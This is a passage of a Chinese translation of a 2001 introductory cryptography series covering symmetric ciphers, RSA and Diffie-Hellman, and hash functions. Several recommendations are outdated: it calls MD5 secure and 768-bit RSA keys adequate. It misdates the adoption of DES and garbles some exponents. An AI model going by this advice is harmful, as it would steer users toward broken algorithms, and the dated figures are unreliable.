保护视频录制的机制（例如，CSS）是脆弱得可怜，实用程序 DeCSS 不费吹灰之力就可以挫败它，
并使资料可用于其它平台上。

对于开发人员应该掌握些什么？
通常，安全性问题都难于理解和实现，所以对于开发人员来说，
掌握一些应用于加密的原则并学习使用的机制是很有用的。
编写密码算法是一项困难且复杂的任务，但是切合实际地在应用程序中实现现有机制，
或利用著名的产品来帮助信息隐藏或认证就不太一样了，这可能是一个非常有用的技能。

可以采样和提取或更改数字数据而不用担心检测，这一事实是密码术使用快速增长的一个原因。
特别是在跨因特网的情况中，不会发生面对面的接触，消息可能通过多个易受攻击的系统传播：
网站可能保存应受保护的敏感数据；信用卡号和其它敏感的个人数据都需要安全地传输；
电子邮件可以象明信片那样方便地读取；可能需要控制对受限区域的访问；
价值单位（数字现金、电子债券等）不能在没有保护的情况下随意地到处摆放；
内容供应商希望保护他们的电影或电视节目或音乐，以便只有订户才有访问权；
需要控制对网络的远程访问；移动电话、PDA 和膝上电脑会很容易地丢失或被盗；
ATM 只应对合法请求分发现金。这些都是需要并使用密码术的一些实例。

本文的目的是：概括地介绍相关背景知识，广泛地评价使用的一些技术和考虑一些含义。
接下来的其它文章将就不同主题更详细地论述。

密码技术
最古老的加密方法已经用了几千年，这种方法被称为密钥或对称加密。在这种方法中，
同一密钥既用于加密明文，也用于解密密文。使用的机制可能非常多样化，
但它们共同的弱点 — 因为需要共享密钥，所以一旦密钥落入坏人之手将很危险。
一旦未经授权的人得知了密钥，就会危及基于该密钥的安全性。
如果只涉及一条消息，可能不要紧；但是，电子通信的真正本质就意味着：
同一个密钥很可能被重复使用，而未必知道密钥已不再是保密的。

当然，一个密钥很可能被许多人作为一组算术方式构造的文件所共享，
这样在可以使用密钥前都需要对任何元素进行一些最小组合，但是这并不改变普遍原理。

对称系统一般都比较快，现在实际上可以使它很难于破解。与任何这类事物一样，
不存在绝对的保证，但是有理由说，运用目前可用的知识和使用当前级别的计算能力，
一个正确构造的系统可以是彻底安全的。

不同的密码容易受到不同形式的攻击侵袭，因此，在某些情况下，
某组一些特定密钥的安全性会比其它的要差。但是，密钥越长（其它所有条件相同），
破解加密的难度就越大。

软件代码是一种有价值的资源，许多公司竭尽全力保护它们的源代码，
完全反对“自由软件基金会（Free Software Foundation）”或开放源码运动的观点。
但是，在密码情况中，将算法完全地无偿地公之于众，接受大众的详细审查是必要的。
在字处理程序情况中，这可能会使人不快，但如果出现一些错误或其它问题，
通常也没有太大关系。错误是一定存在的，即使没有目前那种急于推出不成熟产品的倾向。
在加密软件或至少其中的密码部分的情形中，错误是非常危险的，会产生极端严重的后果。
发现这样的缺陷的唯一切实可行的方法是公开内部代码，让其他人进行同级评估与分析。
简单地说：不要相信，也不要使用任何其核心部分（包括加密算法）不可公开访问、
而且尚未同意同级评估的加密软件。密码发展的历史显示了众多证明这一策略的实例。

1976 年撰写的论文 New Directions in Cryptography 包含了设计一个具有公／私钥对系统的协议
的详细信息；随后这一算法以两位作者的姓名：
Whitfield Diffie 和 Martin Hellman（他们当时在斯坦福大学）命名。
Diffie-Hellman 算法现在在公共领域中广泛使用， 作为大量被称为公钥系统的基础。

公钥系统使用两个由质数构成的、互补的密钥，使得一个密钥用于加密明文，
然后可以用另一个且只能用这个密钥来解密。这也称为非对称密码术。

密钥对中一个密钥秘密保管，称为私钥，而另一个是公钥，它被广为公开。
这一过程独特的本质是：任何知道我的公钥的人都可以加密一条消息，
然后只能由我有使用安全的私钥才能解密这条消息。相反，我可以用我的私钥加密一条消息，
任何使用我自由可用的公钥解密它的人都可以确信这条消息是我发出的。
实际上，情况要比这复杂得多，因为非对称密钥与对称密钥相比，通常都很长
（大约 768 位相对于 56 或 128 位），所以处理文本会很慢。其中一个最广泛使用的公钥系统
是 1977 年由三个 MIT 的研究人员：Ron Rivest、Adi Shamir 和 Leonard Adelman 利用
Diffie 和 Hellman 引入的概念开发的。这一系统以他们姓名的首字母 RSA 命名，
并于 1983 年在美国获得专利。

遵从前面提到的警告和条件，公钥系统也可以是无懈可击的。
对这种系统的攻击方法通常是尝试对数字进行因数分解，而对大质数的因数分解是极其困难的。
但是，也可以采用其它方法，完全有可能发现新的数学技术，严重危及这些密码中的一个或多个，
或致使密码完全无效。而且，就象密钥密码术会因在分发时单个密钥落入坏人之手而易受攻击一样，
公钥密码术也容易受到称为内奸的风险的攻击。稍后将对此进行更完整地讨论，
但是本质上这是愚弄用户：让用户相信公钥来自某个源的，而实际上它是来自另一个源。
出于这一原因，公钥密码术通常都与其它安全性方法（如数字证书，它寻求确认公钥的完整性）相关联。
显然，私钥被人知道后，系统也是易受攻击的，但因为一般不需要共享私钥，所以这一风险不会很大。

我在前面曾提到，消息认证正变得与信息隐藏一样重要了。这里需要的是一种机制，
使接收方放心：消息真的是来自所声称的发送方，并且自它创建以来没有被改过。
通常，通过使用散列技术生成消息摘要来提供消息的完整性。
散列是一种将变长字符串转换为定长结果（一般 128 位）的技术。
实际上，对消息所做的任何更改 — 即使只是象添加或除去一个空格这样细微的更改 — 都会
导致在运行进程时创建一个不同的散列值。

下面这个简化的模型显示了这些不同元素如何在一起工作，
以保护消息不会被随意查看，并且确信接收到的消息是我（授权发送方）发出的：

我对明文消息应用一个适当的处理，以生成一个用作消息摘要的散列值。
我用私钥加密这个摘要，而不是消息本身，向任何可以用公钥解密它的人确认消息是我发出的。
我生成一个一次性使用的密钥，用来迅速加密消息文本。
我使用接收方的公钥加密这个密钥并将整个包发送给他。

我的收件人使用他的私钥获得这个密钥，接着用该密钥解密消息，
对消息应用相同的消息摘要算法，并将其与使用我的 公钥解密的消息摘要进行比较。
倘若它们匹配，他就可以确定消息是我发出的，而且没有被更改过。

虽然实际应用可能要复杂些，但这基本上就是使用非常广泛的程序 — “PGP 加密软件
（Pretty Good Privacy，PGP）”和其它一些应用程序的工作原理,
它们极好地以一种有效而快速的方法结合了一起工作的各种互补元素。

结束语
安全性在于管理风险，而不是排除风险。密码术是任何安全性策略的一个重要组成部分，
它正越来越多地在大量情形中在幕后使用。计算机技术的发展意味着，早期曾被认为是十分安全的密码，
现在可能已不再安全了，或只有适度的安全性。同时，在使用新算法或早期算法的变体时，
上述的这些发展也使得在合理的期限内使用越来越长的密钥成为可能。
诸如椭圆曲线（elliptic curve）或量子密码术（quantum cryptography）
等一些技术都展示了相当可观的前景，但是它们对于常规使用仍可能过于深奥。

现在，为了所有实际用途，在任何合理的时间段实现完全安全的系统是极可能的。
接下来的问题是如何实现一个这样的系统，以及如何理解在机器和人类术语方面的含义。
还有一点：虽然绝对认证似乎是一个有吸引力的选项，
但是它有相当的风险 — 如果某人的数字身份被盗，则结果会是灾难性的。
政府将密码系统当作战略资源，并希望控制它们的分发和使用，尽管政府有各种关于出口
和使用的宽松的法规，但仍越来越担心它们提供的内容。虽然它们可能不愿承认这一点，
但如果不对公认的行为自由实施严格限制的话，则它们正在进行的是一场不可能获胜的战斗。

对于开发人员，在开发使用加密技术的应用程序和掌握各种系统的优缺点，
以及在组织的约束内如何正确管理一些安全性风险等方面都有相当多的机会。

 密码术简介，第 2 部分： 对称密码术

Murdoch Mactaggart（IBMDev@TextBiz.com）
自由撰稿人
2001 年 3 月

 对称密码术（也称作秘钥密码术）早已被人们使用了数千年，
它有各种形式：从简单的替换密码到较复杂的构造方式。
不过，数学的发展和计算能力的不断进步使得创建牢不可破的密码成为可能。
对称系统通常非常快速，却易受攻击，因为用于加密的密钥必须与 需要对消息进行解密的所有人一起共享。
IBM 开发的密码 DES 已被广泛使用，但如今已到了其使用寿命的尽头，应该要更换了。
无论开发人员在他们的应用程序中使用哪种密码，都应该考虑使用的方法、
认识到发生的折衷方案以及规划功能更强大的计算机系统的前景。
简介--------

对称或秘钥密码术早已被人们使用了数千年，它包括任何加密形式，
其中同一个密钥既用于加密也用于解密所涉及的文本。
最简单的形式之一往往被称为“恺撒（Caesar）”密码 — 据说是 Julius Caesar 用来隐蔽消息
的方法 — 其过 程很简单，就是将字母表沿某一方向或反方向移动数位。
第 1 部分中提供的 HAL/IBM 示例正是这种形式，它的密钥指示将字母向前移动一位进行解密。
在这个普通示例中，解密密钥是一个加密密钥的镜像（mirror image），而不是它的复制品，
但这并没有损害作为对称机制的保密级别。

这种简单方案的变体涉及使用一个任意排序的字母表，它和用于明文消息的字母表有同样的长度。
在这种情况下，密钥可能是由数字组成的一个长序列，例如：5, 19, 1, 2, 11 ...
表明 A 应该映射为 E、B 为 S、C 为 A、D 为 B、E 为 K 等等 — 也可能是许多有点独创性方案中的一种，
这些 方案包含的字母（假定）是从特定小说的句子中选取的。

当然，这样的系统是极其脆弱的，而现代的系统则使用基于难解的数学问题的复杂算法，
并因此趋于极端强壮。

非对称密码术的过程有一个公共元素，而且几乎从不共享私钥。
与非对称密码术的这种情况不同，对称密码术通常需要在一个受限组内共享密钥并同时维护其保密性。
对于一个查看用对称密码加密的数据的人来说，如果对用于加密数据的密钥根本没有访问权，
那么他完全不可能查看加密数据。如果这样的秘钥落入坏人之手，
那么就会马上彻底地危及使用该密钥加密的数据的安全性。
因此，使用秘钥方法的这个组中的所有系统所共享的内容是密钥管理的难点，
将在关于实际问题的特性中（紧接在本系列后）更详细地讨论。

通常提到的密钥都有特定的位长度，如 56 位或 128 位。这些长度都是对称密钥密码的长度，
而非对称密钥密码中至少私有元素的密钥长度是相当长的。
而且，这两组的密钥长度之间没有任何相关性，除非偶尔在使用某一给定系统的情况下，
达到某一给定密钥长度提供的安全性级别。
但是，Phil Zimmermann，非常有效而且重要的软件包 — 称为“PGP 加密软 件
（Pretty Good Privacy，PGP）”的创始人，提出 80 位的对称密钥目前在安全性方面与 1024 位的
非对称密钥近似相等；要获得 128 位对称密钥提供的安全性，可能需要使用 3000 位的非对称密钥。
有些人肯定会对其中一些比较、（毫无疑问）甚至对比较的尝试持反对意见。

但是，在任何特定组中，所用密钥的长度通常是确定安全性时的一个重要因素。
而且，密钥长度并不是线性的，而是每增加一位就加倍。
二的二次方是四，三次方是八，四次方是十六，依次类推。Giga Group 提供一个简单的比喻，
它提出如果一个茶匙足够容纳所有可能的 40 位的密 钥组合，那么所有 56 位的密钥组合需要
一个游泳池来容纳，而容纳所有可能的 128 位的密钥组合的体积将会粗略地与地球的体积相当。
一个用十进制表示的 128 位的值大概是 340，后面跟 36 个零。

对称密钥方法比非对称方法快得多，因此加密大量文本时，对称密钥方法是首选机制。
诸如 DES（qv）的密码在软件中至少比非对称密码 RSA（在关于非对称系统的特性中有所讨论）
快 100 倍，而且在专门的硬件上实现时可能高达 10,000 倍。秘钥密码最适合用于在单用户或
小型组的环境中保护数据，通常都是通过使用密码实现。实际上，正如在别处已提到的，
广为散布或大规模实际使用的最令人满意的方法往往都同时组合了对称和非对称系统。

对称密码的类型
现在，通常使用分组密码（block cipher）或序列密码（stream cipher）实现对称密码，
我们将在此讨论这两种密码。这一特性中还要考虑称为“消息认证代码（Message Authentication Code，MAC）”
的一种使 用秘钥的校验和机制。MAC 与消息摘要 是完全不同的，消息摘要是在数字签名中使用的，
将在关于非对称密码术（第 3 部分）的特性中讨论。

分组密码
分组密码将定长的明文块转换成等长的密文，这一过程在秘钥的控制之下。
使用逆向变换和同一密钥来实现解密。对于当前的许多分组密码，分组大小是 64 位，但这很可能会增加。

明文消息通常要比特定的分组大小长得多，而且使用不同的技术或操作方式。
这样的方式示例有：电子编码本（ECB）、密码分组链接（CBC）或密码反馈（CFB）。
ECB 使用同一个密钥简单地将每个明文块一个接一个地进行加密；在 CBC 方式中，
每个明文块在加密前先与前一密文块进行“异或”运算，从而增加了复杂程度，
可以使某些攻击更难以实施。 “输出反馈”方式（OFB）类似 CBC 方式，
但是进行“异或”的量是独立生成的。 CBC 受到广泛使用，例如在 DES（qv）实现中，
而且在有关密码术的技术性方面的相应书籍中深入讨论了各种方式。
请注意：您自己建立的 密码系统的普遍弱点就是以简单的形式来使用某些公开的算法，
而不是以提供了额外保护的特定方式使用。

迭代的分组密码是那些其加密过程有多次循环的密码，因此提高了安全性。
在每个循环中，可以通过使用特殊的函数从初始秘钥派生出的子密钥来应用适当的变换。
该附加的计算需求必然会影响可以管理加密的速度，
因此在安全性需要和执行速度之间存在着一种平衡。
天下没有免费的午餐，密码术也是如此；与其它地方一样，应用适当方法的技巧中有一部分是
源于对需要进行的权衡以及它们与需求平衡的关系如何的理解。

分组密码包括 DES、IDEA、SAFER、Blowfish 和 Skipjack — 最后一个是“美国国家安全局
（US National Security Agency，NSA）”限制器芯片中使用的算法。

序列密码
与分组密码相比，序列密码可以是非常快速的，尽管某些方式下工作的一些分组密码
（如 CFB 或 OFB 中的 DES）可以与序列密码一样有效地运作。
序列密码作用于由若干位组成的一些小型组，通常使用称为密钥流的一个位序列作为密钥
对它们逐位应用“异或”运算。有些序列密码基于一种称作“线形 反馈移位寄存器
（Linear Feedback Shift Register，LFSR）”的机制，该机制生成一个二进制位序列。

序列密码是由一种专业的密码，Vernam 密码（也称为一次性密码本（one-time pad）），
发展而来的。序列密码的示例包括 RC4 和“软件优化加密算法
（Software Optimized Encryption Algorithm，SEAL）”，
以及 Vernam 密码或一次性密码本的特殊情形。

消息认证代码
消息认证代码（MAC）并不是密码，而是校验和（通常是 32 位）的一种特殊形式，
它是通过使用一个秘钥并结合一个特定认证方案而生成的，并且附加在一条消息后。
消息摘要是使用单向散列函数生成的，紧密联系的数字签名是使用非对称密钥对生成并进行验证的。
与这两者相比，预期的接收 方需要对秘钥有访问权，以便验证代码。

对称密码的示例

DES
数据加密算法（Data Encryption Algorithm，DEA）的数据加密标准
（Data Encryption Standard，DES）是规范的描述，它出自 IBM 的研究工作，
并在 1997 年被美国政府正式采纳。它很可能是使用最广泛的秘钥系统，特别是在保护金融数据的安全中，
最初开发的 DES 是嵌入硬 件中的。通常，自动取款机（Automated Teller Machine，ATM）都使用 DES。

DES 使用一个 56 位的密钥以及附加的 8 位奇偶校验位，产生最大 64 位的分组大小。
这是一个迭代的分组密码，使用称为 Feistel 的技术，其中将加密的文本块分成两半。
使用子密钥对其中一半应用循环功能，然后将输出与另一半进行“异或”运算；接着交换这两半，
这一过程会继续下去，但最后一个循环不交换。DES 使用 16 个循环。

攻击 DES 的主要形式被称为蛮力的或彻底密钥搜索，即重复尝试各种密钥直到有一个符合为止。
如果 DES 使用 56 位的密钥，则可能的密钥数量是 2 的 56 次方个。
随着计算机系统能力的不断发展，DES 的安全性比它刚出现时会弱得多，
然而从非关键性质的实际出发，仍可以认为它是足够的。不过 ，DES 现在仅用于旧系统的鉴定，
而更多地选择新的加密标准 — 高级加密标准（Advanced Encryption Standard，AES）。

DES 的常见变体是三重 DES，使用 168 位的密钥对资料进行三次加密的一种机制；
它通常（但非始终）提供极其强大的安全性。如果三个 56 位的子元素都相同，则三重 DES 向后兼容 DES。

IBM 曾对 DES 拥有几年的专利权，但是在 1983 年已到期，并且处于公有范围中，
允许在特定条件下可以免除专利使用费而使用。

IDEA
国际数据加密算法（International Data Encryption Algorithm，IDEA）是由两位研究员
Xuejia Lai 和 James L. Massey 在苏黎世的 ETH 开发的，一家瑞士公司 Ascom Systec
拥有专利权。IDEA 是作为迭代的分组密码实现的，使用 128 位的密钥和 8 个循环。
这比 DES 提供了更多的 安全性，但是在选择用于 IDEA 的密钥时，应该排除那些
称为“弱密钥”的密钥。DES 只有四个弱密钥和 12 个次弱密钥，而 IDEA 中的弱密钥数相当可观，
有 2 的 51 次方个。但是，如果密钥的总数非常大，达到 2 的 128 次方个，
那么仍有 2 的 77 次方个密钥可供选择。

通过支付专利使用费（通常大约是每个副本 $6.00），可以在全世界广泛使用 IDEA。
这些费用是在某些区域中适用，而其它区域并不适用。IDEA 被认为是极为安全的。
使用 128 位的密钥，蛮力攻击中需要进行的测试次数与 DES 相比会明显增大，
甚至允许对弱密钥测试。而且，它本身 也显示了它尤其能抵抗专业形式的分析性攻击。

CAST
CAST 是以它的设计者 — Nortel 的 Carlisle Adams 和 Stafford Tavares 命名的。
它是一个 64 位的 Feistel 密码，使用 16 个循环并允许密钥大小最大可达 128 位。
其中变体 CAST-256 使用 128 位的分组大小，而且允许使用最大 256 位的密钥。

虽然 CAST 相当新，但是它看来对各种攻击（蛮力和分析性）都非常安全。虽然非常快，
但是它的主要优势是安全性，而不是速度。在 PGP 的最新版本及 IBM、Microsoft 等
厂商的产品中都使用了它。

Entrust Technologies 拥有 CAST 的专利权，但是据说在商业或非商业应用中，
无需支付专利使用费就可以使用它。

一次性密码本
一次性密码本或 Vernam 密码具有被认为是十分安全的优点，所以在某些特殊情况中
（通常是在战争中）有很高的应用价值。它使用完全与消息一样长的随机生成的密钥。
通常使用位的“异或”运算，将其应用于明文中，以 产生加密文本。应用同一密钥和适当的算法，
可以方便地解密消息：

一次性密码本加密／解密的简单例证
       -----------------------------------------------------------------
       00101100010....11011100101011 原始明文消息

       01110111010....10001011101011 与消息长度相等的随机生成的密钥

       01011011000....01010111000000 加密后的消息

       01110111010....10001011101011 重用于解密的密钥

       00101100010....11011100101011 恢复的原始消息

       --------------------------------------------------------
 虽然一次性密码本是完全且绝对安全的，但是它常常是不太实用的，因为需要以某种安全的方法
 将与消息长度相等的密钥传送给接收方，以允许解密。而且，密钥只使用一次，
 然后就被丢弃，虽然这明显对安全性有利，但增加了密钥管理问题。
 目前可能使用一次性密码本的一个领域是在 MAC 中。

AES
如果 DES 已经到了它使用寿命的尽头，预计高级加密标准（AES）会代替 DES 作为
新的安全标准。在 1997 年，美国国家标准和技术研究所
（US National Institute of Standards and Technology，NIST）曾宣布一项竞 赛，
将 15 个原始项减少到 5 个。 最终的获胜者是比利时的 Joan Daemen 和 Vincent Rijmen
提交的一个名为 Rijndael 的产品（当前正在处于大规模试验和评估中）。

从技术上讲，Rijndael 的结构是复杂的而且有点不同寻常，却似乎非常安全且通用，
因为它的执行速度很快，十分适合于现代需求（如智能卡），而且能够使用的密钥大小范围很广。

结束语
密钥长度是确定密码提供的安全性程度的众多因素之一。在所有安全性问题中，
最重要的一个是平衡成本、时间、金钱和其它元素的风险。
例如，用于 DES 的 56 位密钥的确不太安全，但普通的 Yale 锁也是不安全的，
但多数屋主仍信赖它，因为即使是插芯锁也不足以防范坚定的入侵者。

开发人员需要结合开发成本、执行速度、专利使用费和安全性强度来评估需要的是什么。
也就是，应当清楚地知道尽可能使用强安全性，与其它因素保持一致并考虑应用程序的预期寿命。
计算机速度越快意味着可以迅速处理越长的密钥，但是也意味着可以更容易地破解旧系统中的短密钥。

考虑应用特定算法的方法、认识到简单的应用程序可能不是非常安全的，也是非常重要的。
与此相关的是允许公众详细审查的问题，为确保产品的信任度，这是绝对必要的。
那些阻止使他们的应用程序的密码元素可以公开获得的开发人员或软件出版商完全不值得信赖，
而且几乎肯定在提 供一种较差的产品。

密码术简介，第 3 部分： 非对称密码术
自由撰稿人（IBMDev@TextBiz.com）
Murdoch Mactaggart
2001 年 3 月

 非对称密码体制提供的安全性取决于难以解决的数学问题，
 例如，将大整数因式分解成质数。公钥系统使用这样两个密钥，
 一个是公钥，用来加密文本，另一个是安全持有的私钥，只能用此私钥来解密。
 也可以使用私钥加密某些信息，然后用公钥来解密，
 而公钥是大家都可以知道的，这样拿此公钥能够解密的人就知道此消息是
 来自持有私钥的人，从而达到了认证作用。

简介
加密和解密都需要共享一个秘钥，这可能是使用密码术的对称密码体制的主要弱点。
在非对称密码术或公钥密码术中没有这样的问题。使用在数学上相关的两个密钥，
并通过用其中一个密钥加密的明文只能用另一个密钥进行解密的方法来使用它们。
通常，其中一个密钥由个人秘密持有，因此几乎没有必要共享密钥，从而避免了对安全性的威胁。
第二个密钥，即所谓的公钥，需要让尽可能多的人知道。

加密／解密过程可以双向进行。即，我可以使用您的公钥加密某个信息以确保只有您
可以使用您的私钥来读取它。另外，还可以使用我的私钥来加密某个信息，
尽管从信息隐藏的观点来看，这是没有意义的实践 — 因为知道我公钥的任何人
都可以解密该消息 — 但这是认证系统的基础，其确保了消息确实来自知道我
私钥的人那里，推测起来就是我。

以前，我提到过非对称密码是 1976 年由 Whitfield Diffie 和 Martin Hellman
（后来去了斯坦福大学）在其 New Directions in Cryptography 一文中提出的。
但是，正如来自英国密码术权威的报告所显示的
（J.H. Ellis，The Possibility of Secure Non-Secret
Digital Encryption，CESG Report，1970 年 1 月），早先可能已经提出并检验了
一种很相似的机制，但是却被英国当局保密着。无论事实源自什么
（这种开发总是构建在以前开展的工作上），非对称密码体制概念的引入以及
后来在各种特定系统中的改进都是非常重要的发展。

对称密码体制和非对称密码体制各有利弊。特别是，非对称密码体制在
几方面易受攻击（例如，通过伪装），并且加密／解密过程比对称密码体制慢得多。
但是，它们有突出的优点，尤其是可以与对称密码体制一起创建完美和有效
的密码机制，并且可以提供非常高级别的安全性。在后继文章中将更充分地讨论这
两种常见方法的互补特性；本文更侧重于与公钥系统相关的技术以及其它方面。

虽然散列函数与公钥密码体制不同，但因为散列函数通常用于消息摘要，
因此在这里将它们视为认证和数字签名的整个系统的一部分也是适宜的。

非对称密码的示例

Diffie-Hellman
在前面提到的论文中对 Diffie-Hellman 协议作了充分描述。
它允许两个用户通过某个不安全的交换机制来共享密钥，
而不需要首先就某些秘密值达成协议。它有两个系统参数，
每个参数都是公开的，其中一个质数 p，另一个通常称为生成元，
是比 p 小的整数；这一生成元经过一定次数幂运算之后再对 p 取模，
可以生成从 1 到 p-1 之间任何一个数。

在实际情况下，可能涉及以下过程。首先，每个人生成一个随机的私有值，
即 a 和 b。然后，每个人使用公共参数 p 和 g 以及它们特定私有值 a 或 b
通过一般公式 g n mod p（其中 n 是相应的 a 或 b）来派生公共值。
然后，他们交换这些公共值。最后，一个人计算 kab = (g b ) a mod p，
另一个人计算 kba = (g a ) b mod p。当 kab = kba = k 时，即是共享的秘钥。

这一密钥交换协议容易受到伪装攻击，即，所谓中间人（middle-person）攻击。
如果 A 和 B 正在寻求交换密钥，则第三个人 C 可能介入每次交换。
A 认为初始的公共值正在发送到 B，但事实上，它被 C 拦截，
然后向 B 传送了一个别人的公共值，然后 B 给 A 的消息也遭受同样的攻击，
而 B 以为它给 A 的消息直接送到了 A。这导致 A 与 C 就一个共享秘钥达成协议
而 B 与 C 就另一个共享秘钥达成协议。然后，C 可以在中间拦截从 A 到 B 的消息，
然后使用 A/C 密钥解密，修改它们，再使用 B/C 密钥转发到 B，B 到 A 的过程与此相反，
而 A 和 B 都没有意识到发生了什么。

为了防止这种情况，1992 年 Diffie 和其他人一起开发了经认证的
Diffie-Hellman 密钥协议。在这个协议中，必须使用现有的私钥／公钥对以及
与公钥元素的相关数字证书，由数字证书验证交换的初始公共值。

RSA
1977 年，即，Diffie-Hellman 的论文发表一年后，MIT 的三名研究人员根据
这一想法开发了一种实用方法。这就是 RSA，它是以三位开发人员 — Ron Rivest、
Adi Shamir 和 Leonard Adelman — 姓的首字母大写命名的，
而且 RSA 可能是使用最广泛的公钥密码体制。1983 年给 RSA 在美国申请了专利，
并正式地被采用为标准，虽然到目前为止，它的出口仍受到限制，
但在美国以外还是一直广泛地用于本地开发的实现。

与其它此类系统一样，RSA 使用很大的质数来构造密钥对。每个密钥对共享两个质数的乘积，
即模数，但是每个密钥对还具有特定的指数。RSA 实验室对 RSA 密码体制的原理做了如下说明：

“用两个很大的质数，p 和 q，计算它们的乘积 n = pq；n 是模数。选择一个比 n 小
的数 e，它与 (p - 1)(q - 1) 互为质数，即，除了 1 以外，e 和 (p - 1)(q - 1)
没有其它的公因数。找到另一个数 d，使 (ed - 1) 能被 (p - 1)(q - 1) 整除。
值 e 和 d 分别称为公共指数和私有指数。公钥是这一对数 (n, e)；私钥是这一对数 (n, d)。”

知道公钥可以得到获取私钥的途径，但是这取决于将模数因式分解成组成它的质数。
这很困难，通过选择足够长的密钥，可以使其基本上不可能实现。
需要考虑的是模数的长度；RSA 实验室目前建议：对于普通公司使用的密钥
大小为 1024 位，对于极其重要的资料，使用双倍大小，即 2048 位。
对于日常使用，768 位的密钥长度已足够，因为使用当前技术无法容易地破解它。
保护资料的成本总是需要和资料的价值以及攻破保护的成本是否过高结合起来考虑。
RSA 实验室提到了最近对 RSA 密钥长度安全性的研究，这种安全性是基于在 1995 年
可用的因式分解技术。这个研究表明用 8 个月的努力花费少于一百万美元可能对 512 位
的密钥进行因式分解。事实上，在 1999 年，作为常规 RSA 安全性挑战的一部分，
用了 7 个月时间完成了对特定 RSA 512 位数（称为 RSA-155）的因式分解。

记住：对于提供的安全性范围，这里给出的各种数字都是平均值，
有时识别一个特定的私钥可能会快得多，这一点也很重要。同样，
提供的安全性假设是基于对质数进行因式分解是很困难的。
如果发现了能使因式分解变得简单的新数学技术，这种假设就会发生变化，
那时 RSA 提供的安全性和类似的算法就可能立即变得毫无价值。

还请注意，密钥长度增加时会影响加密／解密的速度，所以这里有一个权衡。
将模数加倍将使得使用公钥的操作时间大致增加为原来的 4 倍，而用私钥加密／解密
所需的时间增加为原来的 8 倍。进一步说，当模数加倍时，生成密钥的时间平均将增加
为原来的 16 倍。如果计算能力持续快速地提高，并且事实上非对称密码术通常用于简短文本，
因此在实践运用中这不是问题。

其它非对称密码体制
以其开发人员的名字命名的 ElGamal 系统基于离散对数问题，并有加密和签名变体，
而数字签名算法（DSA）部分基于 ElGamal。该系统看来与 RSA 一样安全，但是通常更慢，
在加密期间扩展消息的时间是 RSA 的两倍。这些限制不太影响该算法在签名中的使用。

其它体制包括 1978 年第一次发布的 Merkle-Hellman 背包（knapsack）密码体制、
1984 年第一次发布的 Chor-Rivest 背包密码体制及其 1988 年的修订版。
还有在澳大利亚和新西兰开发的 LUC 公钥系统。McEliece 公钥加密算法基于代数编码理论，
并使用一类称为 Goppa 代码的纠错码。这些代码提供快速译码，但使用的密钥大小约有半兆，
并且加密时对消息文本的扩展也很大。

一组更先进的公钥密码体制是在八十年代中期提出称为椭圆曲线的密码体制，
现在引起了人们的兴趣。这些体制基于数字理论和代数几何学中的数学构造，
并通常定义在有限域上。这些体制尽管使用较短的密钥长度，但似乎有可能提供与
现有系统类似的安全性，有些则可能在移动计算或基于智能卡的系统中特别有用。
RSA 实验室提出使用 160 位密钥长度的椭圆曲线密码体制可能提供与使用 1024 位密钥
的 RSA 几乎相同的安全性。然而，问题是：对于某些尚未完全开发的专门攻击来说，
椭圆曲线密码体制可能是脆弱的。

散列函数
散列涉及将任意的数据字符串转换成定长结果。原始的长度可能变化很大，
但结果将总是相同长度，在密码使用中通常为 128 或 160 位。散列广泛用于填充
用来快速精确匹配搜索的索引；在技术上有各种散列函数，但概念上从密码编码角度是完全相同的。
当使用散列来构造索引项时，需要在工作系统中预计索引项的密度和
可能的冲突（即，不同的项返回同一散列值）之间寻求平衡。
除非索引很大且填充得很疏松，否则将一定会有冲突，但在创建索引中这些问题
很容易解决，比方说，与空值链接，然后在返回结果前检查那些具有相同散列值的原始项。
但是，当在密码体制中使用散列时，这种做法是不现实的，相应的算法需要尽可能地消除冲突。
比方说，128 位散列值的极限是 3.4 x 1038。但是，因为可能的消息数目是无限的，
所以冲突一定是可能的（并且实际上，数量是无限的）。另外，在任何构造良好的密码散列算法中，
两个不同消息产生同一散列值的可能性是极其微小的，对于所有实际用途，可以假设不会发生冲突。

散列函数只能单向工作，对于检索明文的目的，它毫无作用。然而，
它提供了一种数字标识，这种数字标识仅特定于一个消息，
如果纯消息文本有任何更改（甚至包括添加或除去一个空格）该标识也将更改，
散列函数在这方面确实做得很好。前面段落中给出的告诫对它也适用，这意味着可以
使用一个适当的散列函数来确认给定的消息未被更改。这个散列值称为消息摘要。
消息摘要对于给定消息来说是很小的并且实际上是唯一的，它通常用作数字签名和数字
时间戳记中的元素，将在后面的系列文章中讨论每一种用法。

如果可能生成冲突，则可能伪造摘要，然后发送欺诈的消息。这样做的一种方法是
使用称为“生日攻击”的一类蛮力攻击，“生日攻击”这个名称的由来是根据这样一个事实：
23 个人的一组中有两个或多个人的生日在同一天的概率大于 1/2 这一惊人的结果。

想伪造消息的人首先创建一条欺诈消息并拿取一条被攻击对象要签名的消息。然后，
他使用任意秘钥及适当散列算法来生成被攻击消息的 2 n/2 个变体以及相同数量的欺诈消息的变体，
n 是消息摘要的位数。假设最微小的更改也会产生不同的消息摘要，至少在理论上可能创建仅在
较小细节上不同的消息。根据生日理论，被攻击消息的一个变体与欺诈消息的一个变体的
散列值相匹配的概率大于 1/2。伪造者让没有产生怀疑的目标对象对所选的被攻击消息签名，
然后适时地将其换成欺诈消息，该欺诈消息的摘要与被攻击消息的签名者创建的新摘要完全相同。
使用这种方法，在生成消息摘要时不必知道目标对象所使用的秘钥。

MD4 和 MD5
MD2、MD4 和 MD5 是由 Ron Rivest 开发的用于数字签名应用程序的消息-摘要算法，
在数字签名应用程序中将消息压缩成摘要，然后由私钥加密。MD2 是为 8 位计算机系统设计的，
而 MD4 和 MD5 是为 32 位计算机系统开发的。MD4 是在 1990 开发的，现在它被认为是不安全的。

RSA 实验室将 MD5 描述为“系有安全带的 MD4”，它虽然比 MD4 慢，但却被认为是安全的。
与使用 MD4 时相同，会填补明文消息以确保其位的长度加上 448 可以被 512 整除。
然后添加表示原始消息长度的 64 位二进数，然后使用循环压缩函数在 512 位块中处理该消息，
每块都要经过四轮各不相同的处理。

SHA 和 SHA-1
安全散列算法（SHA）是由美国国家标准和技术协会（National Institute of Standards and Technology）
开发的，该协会隶属于美国商务部，负责发放密码规程的标准。
然而，该算法的安全性要比其名称所暗示的低，1994 年适时发布了原始算法的修订版，称为 SHA-1。

与 MD5 相比，SHA-1 生成 160 位的消息摘要，虽然执行更慢，却被认为更安全。
明文消息的最大长度可达到 264 位。

结束语
公钥密码术是特别用于认证技术的重要部分。虽然公钥体制可能只用于加密明文，
但其实际价值可能更多地取决于和其它元素的结合使用，包括消息摘要和对称密码体制，
